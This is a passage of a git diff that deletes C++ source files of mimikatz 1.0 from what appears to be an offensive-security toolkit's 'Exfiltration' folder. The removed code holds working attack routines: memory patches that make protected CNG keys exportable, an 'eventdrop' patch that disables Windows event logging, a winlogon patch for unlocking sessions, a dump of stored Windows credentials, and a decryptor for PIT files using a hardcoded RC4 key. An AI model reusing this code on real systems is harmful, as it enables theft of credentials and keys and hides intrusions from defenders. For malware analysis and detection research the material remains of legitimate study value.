0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; -#elif defined _M_IX86 - BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x41, 0x20, 0x02, 0x75}; - BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x47, 0x1c, 0x02, 0x75}; - - BYTE PATC_WNO8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; - BYTE PATC_WIN8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; -#endif - BYTE PATC_WALL_SPCryptExportKey_EXPORT[] = {0xeb}; - LONG OFFS_WALL_SPCryptExportKey_EXPORT = 4; - - if(mod_cryptong::isNcrypt) - { - if(mod_cryptong::justInitCNG()) - { - wchar_t * libName; PBYTE pattern = NULL; ULONG taillePattern = 0; PBYTE patch = NULL; ULONG taillePatch = 0; LONG offsetPatch = 0; - - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { -#ifdef _M_X64 - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - pattern = PTRN_WI60_SPCryptExportKey; - taillePattern = sizeof(PTRN_WI60_SPCryptExportKey); - } - else - { -#endif - pattern = PTRN_WNO8_SPCryptExportKey; - taillePattern = sizeof(PTRN_WNO8_SPCryptExportKey); -#ifdef _M_X64 - } -#endif - libName = LIBNAME_WNO8_NCrypt; - } - else - { - pattern = PTRN_WIN8_SPCryptExportKey; - taillePattern = sizeof(PTRN_WIN8_SPCryptExportKey); - libName = LIBNAME_WIN8_NCrypt; - } - - if(arguments->empty()) - { -#ifdef _M_X64 - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - patch = PATC_WI60_SPCryptExportKey_EXPORT; - taillePatch = sizeof(PATC_WI60_SPCryptExportKey_EXPORT); - } - else - { -#endif - patch = PATC_WALL_SPCryptExportKey_EXPORT; - taillePatch = sizeof(PATC_WALL_SPCryptExportKey_EXPORT); -#ifdef _M_X64 - } -#endif - } - else - { -#ifdef _M_X64 - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - patch = PATC_WI60_SPCryptExportKey_NOEXPORT; - taillePatch = sizeof(PATC_WI60_SPCryptExportKey_NOEXPORT); - } - else - { - patch = PATC_WALL_SPCryptExportKey_NOEXPORT; - taillePatch = sizeof(PATC_WALL_SPCryptExportKey_NOEXPORT); - } -#elif defined _M_IX86 - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - patch = PATC_WNO8_SPCryptExportKey_NOEXPORT; - taillePatch = sizeof(PATC_WNO8_SPCryptExportKey_NOEXPORT); - } - else - { - patch = PATC_WIN8_SPCryptExportKey_NOEXPORT; - taillePatch = sizeof(PATC_WIN8_SPCryptExportKey_NOEXPORT); - } -#endif - } - offsetPatch = OFFS_WALL_SPCryptExportKey_EXPORT; - - mod_patch::patchModuleOfService(L"KeyIso", libName, pattern, taillePattern, patch, taillePatch, offsetPatch); - } - else (*outputStream) << L"Impossible d\'initialiser la CNG : " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"Pas de CNG ?" << endl; - - return true; -} - -void mod_mimikatz_crypto::sanitizeFileName(wstring * fileName) -{ - wchar_t monTab[] = {L'\\', L'/', L':', L'*', L'?', L'\"', L'<', L'>', L'|'}; - for(wstring::iterator monIterateur = fileName->begin(); monIterateur != fileName->end(); monIterateur++) - { - for(ULONG i = 0; i < sizeof(monTab) / sizeof(wchar_t); i++) - { - if(*monIterateur == monTab[i]) - { - *monIterateur = L'~'; - break; - } - } - } -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h deleted file mode 100644 index 7d81c075..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h +++ /dev/null @@ -1,36 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_cryptoapi.h" -#include "mod_cryptong.h" -#include "mod_crypto.h" -#include "mod_process.h" -#include "mod_patch.h" -#include -#include - -class mod_mimikatz_crypto -{ -private: - static void sanitizeFileName(wstring * fileName); - static void listAndOrExportCertificates(vector * arguments, bool exportCert = false); - static void listAndOrExportKeys(vector * arguments, bool exportKeys = false); -public: - static vector getMimiKatzCommands(); - - static bool listProviders(vector * arguments); - static bool listStores(vector * arguments); - static bool listKeys(vector * arguments); - static bool listCertificates(vector * arguments); - - static bool exportCertificates(vector * arguments); - static bool exportKeys(vector * arguments); - - static bool patchcapi(vector * arguments); - static bool patchcng(vector * arguments); -}; - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp deleted file mode 100644 index 019644de..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp +++ /dev/null @@ -1,306 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_divers.h" - -vector mod_mimikatz_divers::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(noroutemon, L"noroutemon", L"[experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(eventdrop, L"eventdrop", L"[super experimental] Patch l\'observateur d\'vnements pour ne plus rien enregistrer")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cancelator, L"cancelator", L"Patch le bouton annuler de Windows XP et 2003 en console pour dverrouiller une session")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(secrets, L"secrets", L"Affiche les secrets utilisateur")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nodetour, L":nodetour", L"Anti-dtours SR")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pitme, L":pitme", L"Dchiffre les fichiers PIT (Quest vWorkspace Client)")); - return monVector; -} - -bool mod_mimikatz_divers::nodetour(vector * arguments) -{ - vector mesOS; - mesOS.push_back(mod_patch::WINDOWS_2003_____x64); - mesOS.push_back(mod_patch::WINDOWS_VISTA____x64); - mesOS.push_back(mod_patch::WINDOWS_2008_____x64); - mesOS.push_back(mod_patch::WINDOWS_SEVEN____x64); - mesOS.push_back(mod_patch::WINDOWS_2008r2___x64); - - if(mod_patch::checkVersion(&mesOS)) - { - BYTE monSysEnterRetn[] = {0x0f, 0x05, 0xc3}; - BYTE monDetouredStub[] = {0x90, 0x90, 0xe9}; - - PBYTE monNTDLLptr = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenProcess")); - if(memcmp(monNTDLLptr + 8, monDetouredStub, sizeof(monDetouredStub)) == 0) - { - (*outputStream) << L"Dtour trouv et "; - if(mod_memory::writeMemory(monNTDLLptr + 8 + sizeof(monDetouredStub) + sizeof(LONG) + *reinterpret_cast(monNTDLLptr + 8 + sizeof(monDetouredStub)), monSysEnterRetn, sizeof(monSysEnterRetn))) - (*outputStream) << L"patch :)"; - else - (*outputStream) << L"NON patch :("; - (*outputStream) << endl; - } - else - (*outputStream) << L"Dtour non trouv" << endl; - } - return true; -} - - -bool mod_mimikatz_divers::cancelator(vector * arguments) -{ - vector mesOS; - mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86); - mesOS.push_back(mod_patch::WINDOWS_2003_____x86); - - if(mod_patch::checkVersion(&mesOS)) - { - BYTE patternCMPJMP[] = {0xff, 0xff, 0xff, 0x83, 0xff, 0x02, 0x0f, 0x84}; - BYTE patternNOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90}; - long offsetCibleNOP = 3; - - vector * mesProcesses = new vector(); - wstring processName = L"winlogon.exe"; - - if(mod_process::getList(mesProcesses, &processName)) - { - for(vector::iterator leProcess = mesProcesses->begin(); leProcess != mesProcesses->end(); leProcess++) - { - mod_patch::patchModuleOfPID(leProcess->th32ProcessID, L"", patternCMPJMP, sizeof(patternCMPJMP), patternNOP, sizeof(patternNOP), offsetCibleNOP); - } - } - - delete mesProcesses; - } - return true; -} - - -bool mod_mimikatz_divers::noroutemon(vector * arguments) -{ - //BYTE patternTestRouteMon[] = {0x83, 0xec, 0x1c, 0x55, 0x8b, 0xe9}; // 7.0 // 83 ec 1c 55 8b e9 - BYTE patternTestRouteMon[] = {0x83, 0xec, 0x14, 0x53, 0x8b, 0xd9}; // 7.1 // 83 ec 14 53 8b d9 - BYTE patternNoTestRouteMon[] = {0xb0, 0x01, 0xc2, 0x04, 0x00}; - - mod_patch::patchModuleOfService(L"dsNcService", L"", patternTestRouteMon, sizeof(patternTestRouteMon), patternNoTestRouteMon, sizeof(patternNoTestRouteMon)); - return true; -} - -bool mod_mimikatz_divers::eventdrop(vector * arguments) -{ - wchar_t LIBNAME_WNT5_EVTLOG[] = L"eventlog.dll"; - wchar_t LIBNAME_WNT6_EVTLOG[] = L"wevtsvc.dll"; -#ifdef _M_X64 - BYTE PTRN_WNT5_PerformWriteRequest[] = {0x49, 0x89, 0x5b, 0x10, 0x49, 0x89, 0x73, 0x18}; - LONG OFFS_WNT5_PerformWriteRequest = -10; - BYTE PATC_WNT5_PerformWriteRequest[] = {0x45, 0x33, 0xed, 0xc3}; - - BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0x48, 0x8b, 0xda, 0xe8}; - LONG OFFS_WN60_Channel__ActualProcessEvent = 0; - BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0xff, 0xf7, 0x48, 0x83, 0xec, 0x50, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0xe8}; - LONG OFFS_WN62_Channel__ActualProcessEvent = 0; - - BYTE PATC_WNT6_Channel__ActualProcessEvent[] = {0xc3}; -#elif defined _M_IX86 - BYTE PTRN_WNT5_PerformWriteRequest[] = {0x89, 0x45, 0xe4, 0x8b, 0x7d, 0x08, 0x89, 0x7d}; - LONG OFFS_WNT5_PerformWriteRequest = -20; - BYTE PATC_WNT5_PerformWriteRequest[] = {0x33, 0xc0, 0xc2, 0x04, 0x00}; - - BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x56, 0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; - LONG OFFS_WN60_Channel__ActualProcessEvent = 0; - BYTE PATC_WN61_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; - LONG OFFS_WN61_Channel__ActualProcessEvent = -(5 + 5 + 2); - BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x64, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x75, 0x0c}; - LONG OFFS_WN62_Channel__ActualProcessEvent = -(5 + 1 + 1 + 1 + 3 + 1 + 6 + 5 + 2 + 3 + 2 + 1 + 2); - - BYTE PATC_WNO8_Channel__ActualProcessEvent[] = {0xc2, 0x04, 0x00}; - BYTE PATC_WIN8_Channel__ActualProcessEvent[] = {0xc2, 0x08, 0x00}; -#endif - - BYTE * PTRN_Process = NULL; DWORD SIZE_PTRN_Process = 0; - BYTE * PATC_Process = NULL; DWORD SIZE_PATC_Process = 0; - LONG OFFS_PATC_Process = 0; - wstring libEvent; - - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - libEvent.assign(LIBNAME_WNT5_EVTLOG); - PTRN_Process = PTRN_WNT5_PerformWriteRequest; SIZE_PTRN_Process = sizeof(PTRN_WNT5_PerformWriteRequest); - PATC_Process = PATC_WNT5_PerformWriteRequest; SIZE_PATC_Process = sizeof(PATC_WNT5_PerformWriteRequest); - OFFS_PATC_Process = OFFS_WNT5_PerformWriteRequest; - } - else - { - libEvent.assign(LIBNAME_WNT6_EVTLOG); - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - PTRN_Process = PTRN_WN60_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PTRN_WN60_Channel__ActualProcessEvent); - OFFS_PATC_Process = OFFS_WN60_Channel__ActualProcessEvent; -#ifdef _M_X64 - } -#elif defined _M_IX86 - PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); - } - else if(mod_system::GLOB_Version.dwMinorVersion < 2) - { - PTRN_Process = PATC_WN61_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN61_Channel__ActualProcessEvent); - OFFS_PATC_Process = OFFS_WN61_Channel__ActualProcessEvent; - PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); - } -#endif - else - { - PTRN_Process = PATC_WN62_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN62_Channel__ActualProcessEvent); - OFFS_PATC_Process = OFFS_WN62_Channel__ActualProcessEvent; -#ifdef _M_IX86 - PATC_Process = PATC_WIN8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WIN8_Channel__ActualProcessEvent); -#endif - } - -#ifdef _M_X64 - PATC_Process = PATC_WNT6_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNT6_Channel__ActualProcessEvent); -#endif - } - - mod_patch::patchModuleOfService(L"EventLog", libEvent, PTRN_Process, SIZE_PTRN_Process, PATC_Process, SIZE_PATC_Process, OFFS_PATC_Process); - - return true; -} - -bool mod_mimikatz_divers::secrets(vector * arguments) -{ - DWORD credNb = 0; - PCREDENTIAL * pCredential = NULL; - DWORD flags = (arguments->empty() ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS); - - if(CredEnumerate(NULL, flags, &credNb, &pCredential)) - { - (*outputStream) << L"Nombre de secrets : " << credNb << endl; - - for(DWORD i = 0; i < credNb; i++) - { - wstring type; - bool isCertificate = false; - switch(pCredential[i]->Type) - { - case CRED_TYPE_GENERIC: - type.assign(L"GENERIC"); - break; - case CRED_TYPE_DOMAIN_PASSWORD: - type.assign(L"DOMAIN_PASSWORD"); - break; - case CRED_TYPE_DOMAIN_CERTIFICATE: - type.assign(L"DOMAIN_CERTIFICATE"); - isCertificate = true; - break; - case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD: - type.assign(L"DOMAIN_VISIBLE_PASSWORD"); - break; - case CRED_TYPE_GENERIC_CERTIFICATE: - type.assign(L"GENERIC_CERTIFICAT"); - isCertificate = true; - break; - case CRED_TYPE_DOMAIN_EXTENDED: - type.assign(L"DOMAIN_EXTENDED"); - break; - default: - type.assign(L"?"); - } - - (*outputStream) << - L"TargetName : " << (pCredential[i]->TargetName ? pCredential[i]->TargetName : L"") << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"") << endl << - L"Type : " << type << L" (" << pCredential[i]->Type << L')' << endl << - L"Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"") << endl << - L"UserName : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"") << endl << - L"Credential : " << mod_text::stringOrHex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize) << endl << - endl; - } - CredFree(pCredential); - } - else (*outputStream) << L"CredEnumerate : " << mod_system::getWinError() << endl; - - return true; -} - - -bool mod_mimikatz_divers::pitme(vector * arguments) -{ - static const BYTE HARDCODED_KEY[] = { - 0x80, 0x5b, 0xe8, 0x18, 0x6f, 0x64, 0x89, 0x3a, 0x34, 0xce, 0x59, 0xdf, 0x4d, 0xb4, 0x5a, 0x0f, - 0x69, 0x94, 0x58, 0x70, 0x71, 0x4b, 0x17, 0xcf, 0xc3, 0x40, 0xaa, 0xfc, 0xc5, 0xe0, 0x21, 0xdb, - 0x9a, 0x49, 0x68, 0xb8, 0x2f, 0x4a, 0x6c, 0xdc, 0x7a, 0x8b, 0x7f, 0x5c, 0x03, 0x08, 0xfe, 0x39, - 0xa3, 0xc6, 0x31, 0xa6, 0x8c, 0xbd, 0x72, 0xa4, 0x8a, 0x1b, 0x92, 0xd5, 0x87, 0xad, 0x78, 0x8f, - 0x55, 0x96, 0x0b, 0x30, 0xa8, 0x43, 0x53, 0xb0, 0x62, 0xa0, 0xda, 0x7c, 0x13, 0x8d, 0x5d, 0x81, - 0xc0, 0x8e, 0x90, 0x88, 0xe4, 0xb7, 0x76, 0xc2, 0xb5, 0x04, 0x93, 0xa5, 0xa9, 0x9e, 0xab, 0xf5, - 0x37, 0xac, 0x99, 0x26, 0xe2, 0x38, 0x85, 0xe1, 0x74, 0x77, 0x32, 0xe5, 0x91, 0x23, 0xb1, 0x10, - 0x4c, 0x47, 0x3f, 0xbe, 0x82, 0x22, 0x6a, 0x51, 0xd0, 0x63, 0x75, 0x11, 0x33, 0x9b, 0xfb, 0x3b, - 0xca, 0xed, 0xdd, 0x44, 0xe6, 0x12, 0x4e, 0x97, 0x3c, 0x79, 0x4f, 0x41, 0x66, 0xba, 0x50, 0x0e, - 0xc9, 0x6b, 0x05, 0xee, 0x6e, 0xe7, 0x95, 0x7b, 0x60, 0x9d, 0xff, 0xc4, 0x29, 0x86, 0xb9, 0x7d, - 0x98, 0xc8, 0x9c, 0x35, 0xbb, 0xbc, 0xef, 0xfa, 0x3d, 0x06, 0xf9, 0x36, 0xbf, 0x3e, 0x7e, 0xa2, - 0xc7, 0x56, 0xae, 0xcb, 0xaf, 0xe9, 0x42, 0x61, 0xf0, 0x1d, 0xfd, 0x65, 0x9f, 0x52, 0x27, 0xea, - 0x24, 0xa1, 0xa7, 0xb2, 0x6d, 0x14, 0xb3, 0x45, 0xf8, 0xb6, 0xf7, 0x73, 0xc1, 0x83, 0x84, 0xf4, - 0xcc, 0xcd, 0xf3, 0xe3, 0x54, 0x15, 0xd1, 0x46, 0x07, 0x57, 0x2c, 0xd2, 0xd3, 0xd6, 0xd4, 0xd7, - 0xf6, 0xeb, 0xd8, 0x1c, 0x00, 0x09, 0xec, 0x67, 0x0a, 0xd9, 0x16, 0xde, 0xf1, 0xf2, 0x01, 0x2d, - 0x5e, 0x48, 0x02, 0x0c, 0x5f, 0x0d, 0x19, 0x1a, 0x28, 0x1e, 0x1f, 0x20, 0x25, 0x2a, 0x2b, 0x2e - }; - static const DWORD SUBKEY_SIZE = 16; - static const BYTE HEADER_PIT[] = {'P', 'I', 'T'}; - - FILE * monFichierSource, * monFichierDestination; - BYTE * monBuffer, * monBufferData; - ULONG tailleFichierSource, tailleData; - - if(arguments->size() < 1) - { - (*outputStream) << L"divers:::pitme file.pit [file.rdp]" << endl; - } - else - { - (*outputStream) << L" * Ouverture en lecture du fichier \'" << arguments->front() << L"\' : "; - if(monFichierSource = _wfopen(arguments->front().c_str(), L"rb")) - { - fseek(monFichierSource, 0, SEEK_END); - tailleFichierSource = ftell(monFichierSource); - monBuffer = new BYTE[tailleFichierSource]; - fseek(monFichierSource, 0, SEEK_SET); - fread(monBuffer, tailleFichierSource, 1, monFichierSource); - fclose(monFichierSource); - - (*outputStream) << L"OK" << endl << L" * Dchiffrement n1 : "; - if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource, HARDCODED_KEY, sizeof(HARDCODED_KEY), CALG_RC4)) - { - (*outputStream) << L"OK" << endl << L" * Dchiffrement n2 : "; - if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource - SUBKEY_SIZE, monBuffer + tailleFichierSource - SUBKEY_SIZE, SUBKEY_SIZE, CALG_RC4)) - { - (*outputStream) << L"OK" << endl << L" * En-tte : "; - if(memcmp(monBuffer, HEADER_PIT, sizeof(HEADER_PIT)) == 0) - { - (*outputStream) << L"OK" << endl; - monBufferData = monBuffer + sizeof(HEADER_PIT); - tailleData = tailleFichierSource - sizeof(HEADER_PIT) - SUBKEY_SIZE; - - if(arguments->size() > 1) - { - (*outputStream) << L" * Ouverture en criture du fichier \'" << arguments->back() << L"\' : "; - if(monFichierDestination = _wfopen(arguments->back().c_str(), L"wb")) - { - (*outputStream) << L"OK" << endl; - fwrite(monBufferData, tailleData, 1, monFichierDestination); - fclose(monFichierDestination); - } - else (*outputStream) << L"KO" << endl; - } - else (*outputStream) << L" * Donnes : " << endl << endl << wstring(reinterpret_cast(monBufferData), reinterpret_cast(monBufferData + tailleData)) << endl; - } - else (*outputStream) << L"KO - diffrent de \'PIT\' ; " << mod_text::stringOfHex(HEADER_PIT, sizeof(HEADER_PIT)) << L" != " << mod_text::stringOfHex(monBuffer, sizeof(HEADER_PIT)) << endl; - } - else (*outputStream) << L"KO"; - } - else (*outputStream) << L"KO"; - delete [] monBuffer; - } - else (*outputStream) << L"KO" << endl; - } - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h deleted file mode 100644 index 9bfcf9f7..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h +++ /dev/null @@ -1,30 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_process.h" -#include "mod_patch.h" -#include "mod_secacl.h" -#include "mod_text.h" -#include "mod_crypto.h" -#include -#include -#include "..\global.h" - -class mod_mimikatz_divers -{ -public: - static vector getMimiKatzCommands(); - - static bool cancelator(vector * arguments); - static bool noroutemon(vector * arguments); - static bool eventdrop(vector * arguments); - static bool secrets(vector * arguments); - static bool nodetour(vector * arguments); - static bool pitme(vector * arguments); -}; - - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp deleted file mode 100644 index 366c062c..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp +++ /dev/null @@ -1,300 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` -http://blog.gentilkiwi.com -benjamin@gentilkiwi.com -Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_efs.h" -#include "..\global.h" - -vector mod_mimikatz_efs::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Affiche des informations basiques sur un fichier chiffr")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"full", L"Affiche des informations trs dtailles sur un fichier chiffr")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(toraw, L"toraw", L"Dump les donnes EFS d'un fichier chiffr vers un fichier brut")); - // monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(fromraw, L"fromraw")); - return monVector; -} - -bool mod_mimikatz_efs::infos(vector * arguments) -{ - if(!arguments->empty()) - { - PENCRYPTION_CERTIFICATE_HASH_LIST pHashes = NULL; - - if(QueryUsersOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS) - { - (*outputStream) << L"Utilisateur(s) dclar(s) : " << pHashes->nCert_Hash << endl; - printInfos(pHashes); - FreeEncryptionCertificateHashList(pHashes); - } - else (*outputStream) << L"Erreur QueryUsersOnEncryptedFile : " << mod_system::getWinError() << endl; - - if(QueryRecoveryAgentsOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS) - { - (*outputStream) << L"Agent(s) de recouvrement : " << pHashes->nCert_Hash << endl; - printInfos(pHashes); - FreeEncryptionCertificateHashList(pHashes); - } - else (*outputStream) << L"Erreur QueryRecoveryAgentsOnEncryptedFile : " << mod_system::getWinError() << endl; - - } - return true; -} - -bool mod_mimikatz_efs::full(vector * arguments) -{ - if(!arguments->empty()) - { - PVOID pvContext = NULL; - if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS) - { - SIMPLE_BYTE_ARRAY sba = {0, reinterpret_cast(malloc(0))}; - if(ReadEncryptedFileRaw(ExportToArrayCallback, &sba, pvContext) == ERROR_SUCCESS) - { - PEFS_FEK Fek = NULL; - PEFS_STREAM_DATA_SEGMENT monDataSegment = NULL; - for( - PEFS_MARSHALED_STREAM monMarshaledStream = reinterpret_cast(sba.tableau + sizeof(EFS_RAW)); - reinterpret_cast(monMarshaledStream) < (sba.tableau + sba.nbElements); - monMarshaledStream = reinterpret_cast(monDataSegment) - ) - { - - bool isEFSMetaData = (monMarshaledStream->NameLenght == 2) && (monMarshaledStream->StreamName[0] == 0x1910); - - (*outputStream) << endl << - L"Marshaled Stream :" << endl << - L" * Taille : " << monMarshaledStream->Length << endl << - L" * Flag : " << monMarshaledStream->Flag << endl << - L" * Nom : " << (isEFSMetaData ? wstring(L"(EFS Metadata stream)") : wstring(monMarshaledStream->StreamName, monMarshaledStream->NameLenght / sizeof(wchar_t))) << endl << - L" * Type : " << (isEFSMetaData ? L"EFS Metadata" : L"DATA") << endl << - endl; - - for( - monDataSegment = reinterpret_cast(reinterpret_cast(monMarshaledStream) + monMarshaledStream->Length); - (reinterpret_cast(monDataSegment) < (sba.tableau + sba.nbElements)) && (monDataSegment->GURE0 == 0x00550047) && (monDataSegment->GURE1 == 0x00450052); - monDataSegment = reinterpret_cast(reinterpret_cast(monDataSegment) + monDataSegment->Length) - ) - - { - (*outputStream) << L"DataSegment : " << endl; - PBYTE StreamData = reinterpret_cast(monDataSegment) + sizeof(EFS_STREAM_DATA_SEGMENT); - - if(isEFSMetaData) - { - (*outputStream) << L" EFS Metadata :" << endl; - - PEFS_METADATA_1 mesAttr = reinterpret_cast(StreamData); - (*outputStream) << L" * Version EFS : " << mesAttr->EFS_Version << endl; - if(mesAttr->DDF_Offset) - { - (*outputStream) << L" * Utilisateur(s) dclar(s) :" << endl; - fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DDF_Offset, &Fek); - } - if(mesAttr->DRF_Offset) - { - (*outputStream) << L" * Agent(s) de recouvrement :" << endl; - fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DRF_Offset, &Fek); - } - } - else - { - (*outputStream) << L" DATA :" << endl; - if(!monMarshaledStream->Flag) - { - (*outputStream) << L" DATA Segment Encryption Header :" << endl; - PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER monSegEncHead = reinterpret_cast(StreamData); - (*outputStream) << - L" * Length : " << monSegEncHead->Length << endl << - L" * StartingFile_Offset : " << monSegEncHead->StartingFile_Offset << endl << - L" * BytesWithinStreamSize : " << monSegEncHead->BytesWithinStreamSize << endl << - L" * BytesWithinVDL : " << monSegEncHead->BytesWithinVDL << endl << - L" * DataUnitShift : " << monSegEncHead->DataUnitShift << endl << - L" * ChunkShift : " << monSegEncHead->ChunkShift << endl << - L" * ClusterShift : " << monSegEncHead->ClusterShift << endl << - L" * NumberOfDataBlocks : " << monSegEncHead->NumberOfDataBlocks << endl << - endl; - - PEFS_EXTENDED_HEADER monExtHeader = reinterpret_cast(reinterpret_cast(monSegEncHead) + FIELD_OFFSET(EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, DataBlockSizes) + (sizeof(DWORD) * monSegEncHead->NumberOfDataBlocks)); - if(monExtHeader->EXTD_Number == 'DTXE') - { - (*outputStream) << L" * Extended Header Flag : " << monExtHeader->Flags << endl; - } - - for(DWORD block = 0; block < monSegEncHead->NumberOfDataBlocks; block++) - { - (*outputStream) << L" -> Block " << block+1 << L" ; taille : " << monSegEncHead->DataBlockSizes[block] << endl; - - PBYTE mesDatas = reinterpret_cast(StreamData) + monSegEncHead->Length; - (*outputStream) << mod_text::stringOfHex(mesDatas, monSegEncHead->DataBlockSizes[block], 16) << endl; - - if(Fek); - } - } - else - { - (*outputStream) << L"TODO Data" << endl; - } - } - } - } - } - else (*outputStream) << L"Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl; - - free(sba.tableau); - CloseEncryptedFileRaw(pvContext); - } - else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl; - } - return true; -} - -bool mod_mimikatz_efs::toraw(vector * arguments) -{ - if(arguments->size() == 2) - { - PVOID pvContext = NULL; - (*outputStream) << L"Ouverture de : " << arguments->front() << endl; - if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS) - { - (*outputStream) << L"Vers : " << arguments->back() << endl; - HANDLE hFile = CreateFile(arguments->back().c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); - if(ReadEncryptedFileRaw(ExportToFileCallback, &hFile, pvContext) == ERROR_SUCCESS) - { - (*outputStream) << L" * Export OK" << endl; - } - else (*outputStream) << L"* Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl; - CloseHandle(hFile); - CloseEncryptedFileRaw(pvContext); - } - else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << 